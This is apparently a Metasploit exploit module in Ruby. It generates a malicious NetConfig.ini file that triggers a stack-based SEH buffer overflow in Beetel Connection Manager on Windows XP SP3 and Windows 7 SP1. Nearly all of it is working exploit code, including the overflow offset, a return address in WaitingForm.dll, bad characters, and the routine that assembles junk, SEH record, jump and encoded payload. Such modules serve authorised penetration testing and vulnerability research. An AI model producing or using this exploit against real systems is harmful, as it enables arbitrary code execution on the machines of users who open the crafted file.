h00die
76 lines
2.1 KiB
Ruby
76 lines
2.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
include Msf::Exploit::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => "Beetel Connection Manager NetConfig.ini Buffer Overflow",
|
|
'Description' => %q{
|
|
This module exploits a stack-based buffer overflow on Beetel Connection Manager. The
|
|
vulnerability exists in the parsing of the UserName parameter in the NetConfig.ini
|
|
file. The module has been tested successfully on PCW_BTLINDV1.0.0B04 over Windows XP
|
|
SP3 and Windows 7 SP1.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
"metacom", # Vuln/PoC
|
|
"wvu" # Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
[ "OSVDB", "98714" ],
|
|
[ "EDB", "28969" ]
|
|
],
|
|
'Payload' =>
|
|
{
|
|
"Space" => 1504,
|
|
"BadChars" => "\x00\x09\x0a\x0b\x0c\x0d\x20",
|
|
"DisableNops" => true
|
|
},
|
|
'Platform' => "win",
|
|
'Targets' =>
|
|
[
|
|
["PCW_BTLINDV1.0.0B04 (WinXP SP3, Win7 SP1)",
|
|
{
|
|
"Offset" => 468,
|
|
"Ret" => 0x0105e2f6 # p/p/r (WaitingForm.dll 1.0.0.0)
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Oct 12 2013",
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options([
|
|
OptString.new("FILENAME", [true, "INI file", "NetConfig.ini"]),
|
|
OptString.new("SECTION", [true, "Section name", "Edit Me"])
|
|
])
|
|
end
|
|
|
|
def exploit
|
|
section = datastore["SECTION"]
|
|
|
|
sploit = "[#{section}]\r\nUserName=#{shell_popper}"
|
|
|
|
file_create(sploit)
|
|
end
|
|
|
|
def shell_popper
|
|
junk = rand_text(target["Offset"])
|
|
seh = generate_seh_record(target.ret)
|
|
jump = Rex::Arch::X86.jmp_short(66)
|
|
padding = rand_text(66) # Pad past buffer corruption
|
|
|
|
junk << seh << jump << padding << payload.encoded
|
|
end
|
|
end
|